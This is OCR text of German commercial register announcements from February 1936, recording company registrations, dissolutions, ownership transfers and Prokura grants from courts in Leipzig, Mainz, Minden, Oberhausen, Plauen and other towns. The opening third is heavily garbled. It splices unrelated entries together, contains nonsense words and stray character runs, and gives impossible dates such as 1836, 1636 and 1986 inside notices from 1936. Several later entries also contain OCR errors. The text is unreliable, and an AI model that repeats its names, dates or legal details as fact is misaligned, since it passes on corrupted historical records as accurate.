Reingewinn und beschränkter Haftung, 14. Februar 1936. Loni don schallicheren Fernsprechzellen Hafen an dich in gefamte Vermögen der bisherigen der Gesellschaftsschänle beim Austritt - Gesellschaft mit beschränkter Haftung. Köthen, Anhalt. „l726361 und Wohnungseinrichtungen. Gefellenschafte in Bergwerksgefellshaft der Endert. Friedrich Spindler, Inhaber auf Blatt 28 der Firma Erich Bernstein in Herne, Allianzgefellshaft - 21. Februar. Martha Spindler in Köthen - Nr. 42. Dietrich in Leipzig, Gains Straße 1, auf Grund des Gesetzes über die M. Reza B. Tabarrot. Inhaber: Ziegelvertriebsgesellschaft mit Beschluss erloschen. Der Kaufmann Erich Hermann Dietrich, Umwandlung von Kapitalgesellschaften - Fischers Saftung. Köthen, den 18. Februar 1936. Mohammad Reza Baradarane Tabarot in Leipzig ist Inhaber. Prokura ist vom 5. Juli 1934 und der Durchführung, Kaufmann, zu Hamburg. dem Kaufmann Eugen Geyer in Leipzig, Führungsbevollmächtigung hierzu vom 14. Dezember 1934. Willy Buchmann, Inhaber: Willy - erteilt. (Angegebener Geschäftszweig: - Auszug der Liquidation mit der am 7. Juni bewilligten Poppenbüttel - Unter Vr. 72 Amt. A des Handelsmaschinen, Büromöbeln und Zubehör. Eintragung des Umwandlungs-Gesellschaft in das Handelsregister ist aufgelöst. Inhaber ist ein Wollfach Verleger unter der Firma „Kogge u. Co. auf Blatt 27 671, betr. die Firma die Gefellenschafte in Bergwerksalien- d. B. Bucherei GeSELLSCHAFT Walter Felix Worbs - Co. in Köthen eingetragen. Die Ernst Freier in Leipzig. Die Firma der Recklinghausen in Recklinghausen. Albert Wolff. Folgende Firmen sind erloschen: Gesellschaft, die ihren Haupt Sitz in Burg - Die * 84 sen übergegangen; letztere hat ihren Sitz - Erich Mentzel, Stadt hat. hat am 11. Februar 1936 bei - Recklinghausen über. en; 3 - e hn ei eßen, - in das Amtsgericht Leipzig, am 21. Februar 1936 - Kutnovsky, zu Hamburg. Gefellenschafte sind die Kaufleute Hubert Kogge und Schattenberger, verlegt bis Ludwig Ellerhausen Gesellschaft mit - fruher alleiniger Gesellschafter. Die 8. Hennig, den 20. Februar 1936, ist - Hans Mau und Co., E. Unter Nr. 5 heute eingetragen worden: genannten Gesellschafterinnen, Ober- Salon der Windeder und durch Tod in Spielgemeinschaft Nordmark für Daniel Weber, Ringelheim. Personen-Begriff a. D. Otto von Velsen, ist aus- nationaler Festgesellschaft Gesellschaft - Küstrin. 72538] 75.38! - übrige haftende Gesellschafter; Kaufmann geschieden. Es sind bekannt gemacht: LBerg in Schrä 8 Daniel Weber. D. Landrat i. e. R. Wilhelm & Co. mit beschränkter Haftung, Im Handelsregister A Nr. 579 ist Daniel Weber in Ringelheim. Als Geschäftsführer a. D. Land R. Wilhelm — „Heres“ Handelsgesellschaft mit bezeichneter Firma — Amtsgericht Liebenburg. 18. Febr. 1936. Tengelmann in Essen, 2. Ministerialrat — Werkstätten in Küstrin offene Hand Walter Fimmen in Redlingen. Die Einzelheiten und Forderungen des früheren Inhabers des Handelsregisters A ist niemals übernommen und nicht angedeutet worden. Der Viehhandel in Liebenwalde und Bergwerksgesellschaft Hibernia Altien- Richard Thiesen. Die affine Handelsgenossenschaft Hürnerals ihr Inhaber der Viehhändler Karl gefälligkeit in der Genossenschaft in Harburg-Wilhelmsburg. Geschäftszweig namentlich. Die Menschen in Wöbenwalde eingetragen und die zwei Vorstandsmitglieder Erich und Fritz Im Handelsregister in Kusstrin worden. Oder durch ein Prokurator oder durch einen Kausaler bei der Firma Schliemann & Co. in Liebenwalde, den 14. Februar 1936. und einen Prokurator oder durch einen Kausaler in Sankt Harburg — Wilhelmsburg eingetragen: Leipzig. 72539 Das Amtsgericht. Prokuristen vertreten; besteht der Vorstand aus einem Einzelnen von ihm im Handelsregister ist — Deutsches Großesinkaufs-Gesellschaft 185 ist die hierige Zweigniederlassung getragen worden: Ludwigshafen. [725431 diese allein zur Vertretung berechtigt in beschränkter Haftung Velier 1. auf Blatt 20 182, betr. die Firma Eintragungen im Handelsregister: 6. Schirmgeschäft Peterßen Juh. ist nicht mehr Geschäftsführer Harburg bg, den 17. Februar 1936. „Vulkan“ Gummiwarenfabrik Weiss Bei Einzelfirmen: Mathilde Peterßen in Speyer: Weiss Verlagsgesellschaft der deutschen Gerichte. IX. F Baeßler Aktiengesellschaft in Am 13. 2. 1936 Neueintragung: Geschäftszweig ist Handel mit Verbrauchergenossenschaften mit 1. Zeilen — Leipzig: Die Prokura des Arthur Metallhütte E. Krähe u. Cie. Sitz Lederwaren. Die Firma ist geändert in: beschränkter Haftung, Emil Müller und bei Sankt R. A. d. 25320 Frankenstein ist erloschen. Asperg. Inhaberin Frau Emmy Krähe, Schirm und Leder Peterßen Inh. Man — ist nicht mehr Geschäftsführer. Fritz Wie 2. auf Blatt 20 287, betr. die Firma geb. Hauff, in Stuttgart/ Feuerbach. Mathilde Peterßen. — Waren Einfuhr und Ausfuhr-Gesellschaft. "Richard Voigt ist Geschäftsführer der Firma. Der Firmensitz ist in Zeilzige Kahl. Das Geschäftsfeld umfasst Vermarktung von Dünger, Berg- und Hüttenprodukten. Die Gesellschaft ist im Erbgang auf die Vaz-Sellfchaft mit beschränkter Haftung übertragen. Unger ist als Inhaber ausgeschieden. Die Gesellschaft mit beschränkter Haftung ist auf jede Art von Miniumrückständen jeder Art versichert. K. Möller ist nicht mehr Geschäftsführer. Die geb. Zahn in Set Heinz und Ludwigshafen a. Rh.: Otto Köhler ist Geschäftsführer. Willi Lenz ist Inhaber. Die Firma lautet gegründet in Barren. Bertricht ist nicht mehr Geschäftsführer. Friedrich den künftig Heinz Mair. Am 20. 2. 1836 bei "Gebrüder Essig & Co., Richter & Salzer in Ludwigshafen a. Rh.: Das Geschäft ist mit Wirte Michael Carl Wilhelm Winkelmann, der gestalt Prokura erteilt, dass je zwei Verlag anatomischer Tafeln Gesellschaft in Schwieberdingen: Hans und Walter Essig in Kong vom 1. Januar 1936 mit Firmen-Kaufmann, zu Tong, als Gesellschaft der genannten Prokuristen gemeinschaftlich mit beschränkter Haftung in Schwieberdingen sind ins Geschäft eingetreten. Seine Prokura ist zur Vertretung der Firma befugt. Leipzig: Das Vermögen der Gesellschaft als persönlich haftender Gesellschafter auf den Kaufmann Karl Evertz in Ludwigshafen ist erloschen. Sie sind ausgeschlossen von Liquidation eingetreten. Das Geschäft wird unterstellt dem Vorgänger, welcher Inhaber ist. Seit den 14. Februar 1836 durch Beschluss der Gesellschafter vom veränderter Firma als offene Handels daselbst seit diesem Tage als Einzelunternehmen fortgeführt. Kaufmann, Amtsgericht, 6. Januar 1936 auf die offene Handelsgesellschaft fortgeführt (unten). Kaufmann unter der bisherigen Firma zu Hamburg. Die im Geschäftsgesellschaft unter der Firma Verlag bei Gesellschaftsfirmen fortsetzt. Metallhütte begründeten Verbindlichkeiten im Menau [725311 anatomischer Tafeln W. Karnahl & Co. Am 13. 2. 1936 bei "Metallhütte Ludwigshafen am Rhein, den J - e S S. bei der Firma Alfred Lint in PHandelstegiuster eingetragen ist. Die Gesellschaft hat sich durch Ausgeschieden des Amtsgerichts - Registriergerichts - Kass prokuristens abgegelaufen. Das Geschäft ist erloschen. Soyer Decken Gesellschaft mit beschränkter Prokura des Kaufmanns Franz wid under der Firma der offenen Handels wird unter unveränderter Firma fortgeführt. Dem gesellschaft von dieser weitergeführt. Bin der Gesellschaftsmitglied Emma Krahe — * Zweigniederlassung Kaufmann, Herbert Rottmann in Jun GRe Gef von 119 Die Rennstrecke in sich selbst gesellschaft — Ges — ELI — ist Prokura extincte erloschen. Gierüber wird —— Am 2 — Vr 57 am heutigen Tage eingetragen Schatzungsverzeichnis vom 3. Februar Ilmenau, — 1936. Sen — Gesellschaft — an Schwieberdingen, Gebr. Hausmann, mit Änderung von S; „die sei innen sechs Monaten, O. H.G., Sitz Schwieberdingen. ——— Bis n S — — — nach der Bekanntmachung der Eintragung — Offene die seit — Februar 1636. des Unternehmens sind der andererseitig lautern. [725321 Eintrag des Umwandlungsbeschlusses in das 19385. Gesellschaftsvertrauen. Hermann Essig als Amtsgericht. 1. Betreff: Firma Einkaufskontor Handelsregistrier die bei ibe besichtigen Einkaufskontor registriert zu diesem Zwecke meldete Bierbrauerei, Hans Essig, Brau— — — des Gesellschaft mit be- den, ist Sicherheit zu so weit sie — —— —— sämtlich — fowie Bauausführungen aller Art unter Sit in Laiſers- nicht Befriedigung verlangen können.) lich in Schwieberdingen. Die Gesellschaft — und die Verwertung der Lizenzrechte, in Kaiserslautern off Fröhlich „2 auf Blatt W405 die Firma Verantwortliche Hans und Walter Essig und gesetzt, Verantwortlich dann das anzubringen dem zochen det t ee e — ——— — Kar— vertretungs enenn e t 2 e er in Leipzig (Ci, Karo— berechtigt —— n ae d nn den t ne eine cdn eer Hd sie chericht Ludwigsburg. Verlag graden die Schüler —— — Walter Karnahl in) — — — ñ in Potsdam Sie pri — n 3 erste en e n enn n n nn ee n ei ldc li n n en ntn n en ei ν ανν e hon Elſabetha Vogt Kretzschmar in Pegau, ah Gertrud verl 1. ee e e, in Berlin- Lichtenberg Mer von Ompteda, Kaufmann, Walzenmühle und Gletscherwagen Wert —ite und e ichs, Goethestraße 16. Inhaber: Wolf und Verlags-Ausgießenschaft, B zitätswerk gesetz vom 5. 7. 1954 durch Umwandlung Jung, Kaufmann in Ludwigs 5 — zu Berlin. ist mit den im Gesche lhelmstraße 82. — Geschäftsbetrieb belegte die Firma Verlag h t be 8 — r Firma anatomoischer a. Rh. — Groß- und Kleinhandel in Hierzu eine Beilage. Es ist heute folgendes in unser Handelsregister eingetragen worden; 1. Bei der firmierenden Herrn Rudolf Nachfolger, mit dem Sitz in Magdeburg, unter Nr. 1022 der Abteilung B: Die Prokura des Herrn Hermann Rose ist erloschen. Dem Herrn Conrad Brauner in Magdeburg ist dieartige Prokura erteilt, dass er in Gemeinschaft mit einem Vorstandsmitglied oder, einem Prokuristen zur Vertretung befugt ist. 2. Bei der Firma W. Schlüter Gesellschaft mit beschränkter Haftung, mit dem Sitz in Magdeburg, unter Nr. 1555 der Abteilung B: Die Vertretungsbefugnis des Alfred Spangenberg ist beendet. Der Kaufmann Georg Jürgensen in Magdeburg ist zum weiteren Geschäftsführer bestimmt. 3. Bei der Firma Carl Brottkau in Magdeburg unter Nr. 2486 der Abteilung A: Die Firma ist erloschen. 4. Bei der Firma Curt Altmann in Magdeburg unter Nr. 4048 der Abteilung A: Die Firma ist erloschen. 5. Bei der Firma Johann Vogeler in Magdeburg unter Nr. 1503 der Abteilung A: Die Firma ist erloschen. Magdeburg, den 18. Februar 1836. Das Amtsgericht A. Abt. 8. Mainz. Zu unser Handelsregister wurde die bei der „Sichel & Co., Gesellschaft mit beschränkter Haftung“ mit dem Sitz in Mainz, eingetragen: Durch den Beschluss der Gesellschafterversammlung vom Januar 1936 ist die Gesellschaft aufgelöst. Die Vertretungsbefugnis des Geschäftsführers Wesef Ganz, früher in Mainz, jetzt in Stuttgart-Feuerbach, ist beendet. Heinrich Benderoth, Bankbeamter in Frankfurt a. M., Bockenheimer Landstraße 8, ist zum Liquidator bestimmgt. Mainz, den 19. Februar 1936. Amtsgericht. In unser Handelsregister Abteilung B wurde heute unter Nr. 720 die Gesellschaft mit beschränkter Haftung in Firma „E. F. Cantor Gesellschaft mit beschränkter Haftung“ mit dem Sitz in Deutscher Reich - Mainz, Kaiser-Wilhelm-Ring 78, eingetragen: Die Vertretungsbefugnis des Geschäftsführers Franz Jörg, Werkführer in Mainz, ist beendet. Mainz, den 20. Februar 1836. Amtsgericht. Mainz. In unser Handelsregister Abteilung B wurde heute unter Nr. 728 die Gesellschaft mit beschränkter Haftung in Firma „Weinkellerei Engel Gesellschaft mit beschränkter Haftung“ mit dem Sitz in Mainz, Hafenstraße 23, eingetragen. Der Gesellschaftsvertrag ist am 19. November 1935 festgesetzt und am 31. Dezember 1935 abgeändert. Gegenstand des Unternehmens ist An- und Verkauf von Weinen und Spirituosen und die Beteiligung an anderen gleichartigen Unternehmen. Das Stammkapital beträgt 20000 Reichsmark. Geschäftsführer ist Wilhelm Christ, Kaufmann in Mainz. Der Sitz der Gesellschaft befand sich seither in Wiesbaden. Mainz, den 20. Februar 1935. Amtsgericht. Mainz. [72550] In unser Handelsregister wurde heute die Firma „Bugo Neumann“ in Mainz, Hafenstraße 23, und als deren Inhaber Wilhelm Christian, Kaufmann in Mainz, eingetragen. Der Ort der Niederlassung befand sich zeitweise in Wiesbaden. Der Übergang der in dem Betrieb der Gesellschaft begründeten Forderungen und Verbindlichkeiten ist bei dem Erwerb des Geschäfts durch Wilhelm Christian, Kaufmann in Mainz, ausgeschlossen. (Angegebenes Geschäftszweig: Weingroßhandlung.) Mainz, den 20. Februar 1936. Amtsgericht. Mainz. [72551] In unser Handelsregister wurde heute die Firma „A. Steiner & Co. vereinigte Weingroßhandlungen G. Niederwohnen A. S. Steiner“ in Mainz, Hafenstraße 8, und als deren Inhaber Wilhelm Christian, Kaufmann in Mainz, eingetragen. Der Ort der Niederlassung befand sich zeitweise in Wiesbaden. Der Übergang der in dem Betrieb der Gesellschaft begründeten Forderungen und Verbindlichkeiten ist bei dem hier aufgeführten Erwerb des Geschäfts durch Wilhelm Christian, Kaufmann in Mainz, ausgeschieden. Gegenstand des Unternehmens ist der Betrieb einer Sektkellerei, die Herstellung und der Vertrieb von Schaumwein sowie alle damit zusammenhängenden Geschäfte. Die Gesellschaft ist berechtigt, gleichartige Unternehmen zu erwerben oder zu pachten und sich in Bruchteile zur Firma Otto Löwenthal: jeder zulässigen Weise an solchen zu beteiligen. Die Gesellschaft ist auf unbegrenzt Zeit errichtet mit der Maßgabe, dass sie bei jedem Gesellschafter unter Einhaltung einer halbjährigen Frist auf das Ende des Kalenderjahres gelöscht werden kann. Die Kündigung muss schriftlich und gegenüber den sämtlichen Gesellschaftern erfolgen. Die erste Kündigung ist nicht früher als auf den 31. Dezember 1940 zulässig. Die Einlegung des Gesellschaftsvertrags abgewendet werden. Das Stammtal beträgt 40 000 Reichsmark. Sind mehrere Geschäftsführer vorhanden, so bedarf es zur Vertretung der Gesellschaft des Zusammenwirkens zweier Geschäftsführer oder eines Geschäftsführers mit einem Prokuristen. Zu Geschäftsführern sind bestellt: a) Walther Geisse, Kaufmann in Winkel (Rheingau), und b) Viktor Reimann, Major a. D. in Mainz. Johann Barth und Carl Martin, beide in Mainz-Weisenau, ist Prokura in der Weise erteilt, dass jeder derselben in Gemeinschaft mit einem Geschäftsführer zur Vertretung der Gesellschaft berechtigt ist. Die die Gesellschaft betreffenden öffentlichen Bekanntmachungen erfolgen lediglich im Deutschen Reichsanzeiger. leichzeitig wurde im Handelsregister Ableitung A bei der unter VNr. 562 eingetragene Firma „E. F. Cautor“ in Mainz eingetragen: Das Handelsgeheimnis ist auf Grund eines Pachtvertrags von Walther Geiße, Kaufmann in Wiesbaden, und Richard Mergelsberg, Major a. D. in Berlin-Charlottenburg, mit dem Recht die bisherige übernommen worden. Die Pächter führen das Geschäft in der Rechtsform einer Gesellschaft mit beschränkter Haftung unter der Firma E. & F. Cantor Gesellschaft mit beschränkter Haftung mit dem Sitz in Mainz fort und ist Eintragung dieser Firma im Handelsregister Abteilung B unter Nr. 72 erfolgt. Die Firma & F. Cantor wurde demgemäß im Amtsgericht gelöscht. Mainz, den 19. Februar 1936. — Amtsgericht. 72648 Mainz. In unser Handelsregister wurde heute bei der „Mainzer Elektromotoren- und Maschinenfabrik, Gesellschaft mit beschränkter Haftung“ mit dem Sitz in Mainz, Gesellschaft hat am 15. 2 ist geändert in „Otto Wand Schneider“. Das Handelsgeheimnis ist durch Kauf auf den Kaufmann Otto Wand Schneider zu Malchow übergegangen. Der Nachfolger, der im Betrieb des Geschäfts 8 Forderungen bei dem Erwerb des Geschäfts durch den Nachfolger ist, Anklagegericht Malchow. Marienwerder, Vorsitzend. 72554 In das Handelsregister A ist unter Nr. 391 folgende Firma neu eingetragen: Dietrich Leinweber, Marienwerder, Inhaber der Firma ist der Kaufmann Dietrich Leinweber in Marienwerder. Amtsgericht Marienwerder, Vorsitzend, den 2. Februar 1936. Minden, Westf. 72655 In unser Handelsregister Abt. A ist unter Nr. 63 bei der Firma Löwenapotheke und Mineralwasserfabrik Ernst Lindemeyer, Minden, am 17. Februar 1936 folgendes eingetragen worden: Die Firma ist geändert in: Löwenapotheke Ernst Lindemeyer, Minden i. W. Amtsgericht Minden i. W. Minden, Westf. In unser Handelsregister Abt. A ist unter Nr. 376 bei der Firma Gustav Kirchhoff in Minden am 17. Februar 1936 folgendes eingetragen worden: Die Firma ist erloschen. Amtsgericht Minden i. W. Minden, Westf. 72557 In unserem Handelsregister Abt. A ist unter Nr. 617 am 11. Februar 1936 bei der Firma Lange & Hagemeyer in Liquidation in Minden folgendes eingetragen: Die Liquidation ist beendet. Die Firma ist erloschen. Amtsgericht Minden. Minden, Westf. 72558 In das Handelsregister Abt. A ist am 17. Februar 1936 unter Nr. 871 die offene Handelsgesellschaft in Firma E. A. Buhrmester & Co. in Dankersen bei Minden eingetragen worden. 1935 waren persönlich haftende Gesellschafter Kaufmann Ernst Buhrmester in Dankersen, 2. Kaufmann Karl Kuhlmann in Dankersen. 725561 9 — — F —— — —— — —— —E * Zur Vertiefung der Gesellschaft ist jeder Gesellschafter nur gesellschaftlich mit dem anderen ermächtigt. Amtsgericht Minden i. W. Mrs. [72659] In unser Handelsregister Abt. A wurde heute unter Nr. 661 die Firma „Frau Käthe Terschegen in Repen“ und als ihr Inhaber Frau Peter Terschegen, Käthe geb. Laakmann, dadurch, selbst, eingetragen. Moors, den 19. Februar 1936. Das Amtsgericht. Mücheln, Bz. Halle. 172560 In das Handelsregister B Nr. 1 ist heute bei der „Firma Elektrizitätswerk Mücheln und Umgebung, G. m. b. H. Mücheln“ folgendes eingetragen worden: Gegenstand des Unternehmens ist der Betrieb eines Elektrizitätswerks oder der Bezug von Strom im ganzen zum Zwecke der Lieferung von Strom zu Licht- und Kraftzwecken an die Einwohner von Mücheln und Umgebung, sowohl wie die Verwaltung und Verwaltung der für Rechnung und Gefahr der Stadt Mücheln zu betreibenden Wassergewinnungs- und Verfornagungsanlagen auf Grund eines zwischen der Stadt und der Gesellschaft abzuschließenden Verwaltungsvertrages. Gegenstand des Unternehmens sind weiterhin alle Geschäfte, welchen diese Zwecken direkt oder indirekt zu dienen bestimmt sind, — auch solcher Unternehmungen, die dazu dienen, für Rechnung der Gesellschaft den von ihr erzeugten oder im ganzen abgenommenen Strom durch eigene Anlage zu berichten. Durch Beschluss der Generalversammlung vom 18. November 1935 ist die Satzung mehrfach geändert. Es gilt jetzt in der Neufassung vom 11. Februar 1935 als Satzung. Dem Ratsherren Walter Harnack in Mücheln Prokura erteilt. Walter Harnack, Karl Trinks und Arno Buch sind nicht mehr Geschäftsführer. Hauptamtlicher Geschäftsführer ist außer dem Bürgermeister der Oberbuchhalter Heinrich Frank in Mücheln. Die Gesellschaft wird durch zwei Geschäftsführer oder durch einen Geschäftsführer gemeinschaftlich mit einem Prokuristen vertreten. Mücheln, Bez. Halle, den 28. Januar 1936. Amtsgericht. Mücheln, Bz. Halle. 70239 In unserem Handelsregister A ist heute unter Nr. 61 die Firma Hermann Schütze, - und Kleinhandel in Mücheln, und als deren Inhaber der Kaufmann Hermann Schütze in Mücheln eingetragen. Mücheln, den 4. Februar 1936. Amtsgericht. Naumburg, Saale. [72561] Im Handelsregister B ist unter Nr. 2 bei der Naumburger Siedlungsgeellschaft m. b. H. in Naumburg (Saale) eingetragen: Die Prokura des Verwaltungsmiteilers Albert Bornstein ist erloschen. Amtsgericht Naumburg (Saale), den 14. Februar 1936. Neuss. [72562] In unserem Handelsregister Abt. Nr. 1 ist am 19. Februar 1936 bei der Firma Baustoff- und Holzbau Gesellschaft m. b. H. In Neuß eingetragen worden: „Von Amts wegen gelöscht auf Grund des Gesetzes vom 9. Oktober 1934.“ Amtsgericht Neuß. Neustadt, Sachsen. 72668 Im hiesigen Handelsregister ist auf Blatt 16, die Firma Julius Mißbach in Reustadt in Sachsen betr., am 19. Februar 1936 eingetragen worden, dass der Bäckermeister Gustav Richard Hemme in Neuß in Sachsen aus der Gesellschaft ausgegangen ist. Amtsgericht Neuß, am 20. Februar 1936. Oberhausen, Rheinul. 72564 Eingetragen am 15. Februar 1936 in H. R. Amt. 1306 die Firma Tuchhaus Walter Günter, Oberhausen, Rheinul. und als deren alleiniger Inhaber der Tuchfabrik Walter Günter in Oberhausen, 5. Amtsgericht Oberhausen, Rheinul. Oberhausen, Rheinul. Eingetragen am 17. Februar 1936 in H. R. B bel Rr, WBl, Firma Sterkrader Auto-Zentrale Gesellschaft m. b. H., O. Sterkrade; Die Gesellschaft ist auf Grund des § 2 des Gesetzes vom 9. 10. 1934 gelöscht. Amtsgericht Oberhausen, Rheinul. Oberhausen, Rheinul. 726661 Eingetragen am 19. Februar 1936 in H. R. A bei Nr. 1221, Firma Rosely u. Bone. Oberhausen, Rheinul. Die Gesellschaft ist aufgelöst. die Firma ist erloschen. Amtsgericht Oberhausen, Rheinul. Zentralhandelsregisterbeilage - Anzeiger und Preußischen Staatsanzeiger Abzugleich Zentralhandelsregister für das Deutsche Reich Nr. 48 (Zweite Beilage) Berlin, Mittwoch, den 26. Februar Oberhausen, Rheinul. Eingetragen am 21. Februar 1936 in H.R. B bei Nr. 320, Firma Heinrich Schaefer, Gesellschaft m. b. H. Sterkrade: Die Gesellschaft ist auf Grund des § 2 des Gesetzes vom 9. Oktober 1934 gelöscht. Amtsgericht Oberhausen, Rheinul. Oberhausen, Rheinul. 726568 Eingetragen am 21. Februar 1936 in H.R. A bei Nr. 638, Firma Eduard Breuer, Oberhausen, Rheinul. Das Geschäft nebst Firma ist unverändert auf Witwe Hedwig Breuer geb. Speckmann in Oberhausen übergegangen. Die ihr erteilte Prokura ist erloschen. Amtsgericht Oberhausen, Rheinul. Oberweissbach. In unser Handelsregister Abt. A ist heute die „Firma Kurt Jahn, chemisch-pharmazeutische Glaswaren“, in Meuselbach und als ihr Inhaber der Kaufmann Kurt Jahn in Meuselbach eingetragen worden. Oberweissbach, den 18. Februar 1936. Das Amtsgericht. Oberweissbach. In das Handelsregister Abt. B ist bei der Firma Exportgesellschaft für Glaswaren Kurt Jahn & Co., Gesellschaft mit beschränkter Haftung in Meuselbach, eingetragen; Durch diesen geschlossenen vom 6. Januar 1936 ist das Vermögen der Gesellschaft auf den Alleingesellschafter Kurt Jahn in Meuselbach als Einzelkaufmann übergegangen. Die Gläubiger der Gesellschaft können binnen sechs Monaten Sicherstellung oder Befriedigung verlangen. Oberweißbach, den 18. Februar 1886. Das Amtsgericht. Oberwiesenthal. 172571] In das Handelsregister ist heute auf Blatt 174, betr. die Firma Spindel- und Spinnflügelfabrik Aktiengesellschaft in Neudorf i. E., eingetragen worden: Die Generalversammlungen vom 10. Mai 1935 und 10. Juli 1936 haben laut Notariatsniederschriften von den gleichen Tagen die Erhöhung des Grundkapitals um sechzigtausend Reichsmark, in sechzig Aktien zu einmal tausend Reichsmark zerfallend, mithin auf einhunderttausend Reichsmark, beschlossen. Die Namensaktien sind zu Inhaberaktien von je ein tausend Reichsmark für das gesamte Grundkapital umgewandelt worden. Daselbst besteht nunmehr aus einhundert Inhaberaktien - je ein tausend Reichsmark. Die beschlossene Erhöhung des Grundkapitals ist erfolgt. Amtsgericht Oberwiesenthal, 18. 2. 1936. Oederan. 72572 Auf Blatt 293 des Handelsregisters, betr. die Firma Robert Schubert in Oederan, ist heute eingetragen worden: Helene Martha Bochmann ist ausgeschieden. Der Kaufmann Robert Kurz Schubert in Oederan ist in die Gesellschaft eingetreten. Amtsgericht Oederan, 2. Februar 1936. Offenbach am Main. [725731 Handelsregister eintragungen; a) Vom 13. Februar 1936; Zur Firma Johannes Beck, Offenbach am Main: Geschäft mit Spirituosen und Passiven und die unveränderte Firma sind auf Philipp August Beck, Kaufmann in Offenbach am Main, übergegangen. b) Vom 14. Februar 1936; Zur Firma Louis Maher & Co, Neu Isenburg: Die Gesellschaft ist aufgelöst. Der bisherige Gesellschafter Franz Schaffner ist alleiniger Inhaber der Firma. Amtsgericht Offenbach am Main. — —2 [72874] 3 ist beabsichtigt, die im hiesigen Handelsregister Abt. B Nr. 131 unter der Firma „Kempinski und Stettinius, Likörfabrik und Weinhandlung“, G. m. b. Z. in Oppeln, eingetragene Gesellschaft von Amts wegen zu löschen 32 d. Ges. v 9. 10 1934 RGBl. 1 S. 919. Etwaige Widersprüche hiergegen sind bei dem unterzeichneten Gericht binnen einer Frist von 3 Monaten entitlement zu machen. Amtsgericht Oppeln, 17. Februar 1936. Oppeln. [725765 in Handelsregister A ist heute unter Nr 108 bei der Firma Erdmann Raabe, Oppeln, eingetragen worden: Die Prokura des Georg Gartner ist erloschen. Dem Kaufmann Johannes Löffler in Oppeln ist Prokura erteilt. Amtsgericht Oppeln, 18. Februar 1936. Ortenberg, Hessen. 72576 Bekanntmachung. In unser Handelsregister Abt. 4 — Nr. 16 bei der Firma Nathan Hess Nachfolger in Gedern ist folgende Änderung eingetreten: bestellt, so ist jeder für sich 1936 Der bisherige Gesellschafter Kaufmann Gustav Blumenthal e - Inhaber der Firma, nachdem er sämtliche Spirituosen und Passiven übernommen hat. Die ist aufgelöst. Ortenberg, den 16. Januar 1936. Amtsgericht. — — — D Pattschau. 72677 In unser Handelsregister A wurde heute eingetragen, daß die Firma Vr. 10, Bischöfsmühle Ottmachau, Zweigniederlassung Patzchkau, erloschen ist. Amtsgericht Patzchkau, den 14.2. 1936. Patzchkau. [725781 In unser Handelsregister Abt, A ist heute bei Nr. 115 folgende Veränderung eingetragen worden: Die Firma lautet jetzt: „Breslauer Konfektionshaus, Patzchkau, Inhaber Gerhard Pohl. Amtsgericht Patzchkau, den 18.2. 1936. Pirmasens. [72579] Bekanntmachung. Handelsregistereintrag. Neueintragung: Firma Stöckler & Co, Gesellschaft mit beschränkter Haftung. Sitz: Pirmasens. Geschäftsführer: Friedrich Stöckler, Kaufmann in Stellv. Geschäftsführer: Dr. Wilhelm Hennes, Kaufmann in Gera. Gesellschaft mit beschränkter Haftung zufolge Gesellschaftsvertrags vom 17. Januar 1936. Gegenstand des Unternehmens ist der Ankauf sowie die Weiterführung des von Leo David unter der Firma Louis Landauer in Pirmasens betriebenen Geschäfts. Die Gesellschaft ist berechtigt, Zweigniederlassungen im In- und Auslande zu errichten sowie sich an Unternehmen ähnlicher Art zu beteiligen. Sind mehrere Geschäftsführer allein zur Vertretung der Gesellschaft zuständig. Das Stammkapital der Gesellschaft beträgt einhundertfünzigtausend Reichsmark. Öffentliche Bekanntmachungen der Gesellschaft erfolgen im Deutschen Reichsanzeiger. Am 20. Februar 1936. Amtsgericht. Plauen, Vogtland. In das Handelsregister ist heute eingetragen worden: — a) auf dem Blatt der Firma Fuunb— großhandel Gesellschaft mit beschränkter Haftung, Geschäftsstelle Plauen in Plauen, Nr. 19283: Zum Geschäftsführer ist bestellt der Kaufmann Niels Olaf Wilker in Markleeberg. b) auf dem Blatt der Firma F. S Günther Nachf. Erste Plauener Dampf-Destillation, Gesellschaft mit beschränkter Haftung in Plauen, Nr. 301: Die Gesellschafterversammlung vom 8. Februar 1936 hat die Auflösung der Firma „F. S. Günther Nachf. Erste Plauener Dampf-Destillation“, an der alle Gesellschafter als Inhaber beteiligt sind, mit dem Sitz in Plauen und zugleich die Übertragung des Vermögens der Gesellschaft auf die genannte Kommanditgesellschaft (Umwandlung). Die Firma ist erloschen. Weiter wird bekanntgegeben: Die Gläubiger der aufgelösten Gesellschaft werden auf folgendes hingewiesen: Den Gläubigern der Gesellschaft, die sich binnen sechs Monaten nach der Bekanntmachung vorstehen, der Eintragung des Umwandlungsbeschlusses in das Handelsregister zu dem Zwecke melden, ist Sicherheit zu leisten, soweit sie nicht Befriedigung erhalten können. c) auf Blatt 4851 die Firma F. S. Günther Nachf. Erste Plauener Dampf-Destillation in Plauen und weiter, daß der Kaufmann Rudolf Vollmann in Plauen und eine Kommanditgesellschaft die Gesellschafter sind und die Gesellschaft am 1. Januar 1936 begonnen hat. Amisgericht 2. Teilung B Nr. Z ist heute bei der Firma 5 folgendes eingetragen worden: Geschäftszweig und Geschäftslokal: Fabrik - Kleinkonfektion, Molf Hitler-Str. 28. - 4923 Amisgericht Plauen, 21. Februar 1986. Preußisch Holland. Unser Handelsregister ist heute bei Nr. 8 der Firma C. Arnheim (Nachfolger Pr. Holland, Inh. W. Gerlach) folgendes eingetragen worden: Die Firma ist erloschen. Pr. Holland, 11. Februar 1936. Im Unser Handelsregister ist folgendes eingetragen worden: In Abteilung B bei Nr. 13 Firma Rastenburger Zeitung Gesellschaft mit beschränkter Haftung, Rastenburg: Durch Gesellschaftsbeschluss vom 18. Januar 1936 ist die Ummaramelnung der Gesellschaft unter Übertragung des Gesellschaftsvermögens ohne Liquidation in eine offene Handelsgesellschaft „Rastenburger Zeitung, Gebrüder Bloeß“, deren Gesellschafter die Zeitungsverleger Paul und Bruno Bloeß aus Rastenburg sind, auf Grund des Gesetzes vom 5. Juli 1934 RGBH I S. 569 erfolgt. Die offene Handelsgesellschaft ist in Abteilung A unter Nr. 340 eingetragen. In Abteilung B Nr. Rastenburger Zeitung Gebrüder Bloeß Die offene Handelsgesellschaft hat erst am 20. Februar 1936 begonnen, Beiliegung sie gemäß § 11 des Gesetzes vom 5. Juli 1934 (RGBH I S. 569) erst mit der Eintragung des Ummaramelungsbeschlusses vom 18. Januar 1936 in das Handelsregister Abteilung B Nr. 13 entstanden ist. Als nicht eingetragen wird noch veröffentlicht: Den Gläubigern der bisherigen Gesellschaft steht es frei, so weit sie nicht Befriedigung fordern können, binnen sechs Monaten seit dieser Bekanntmachung 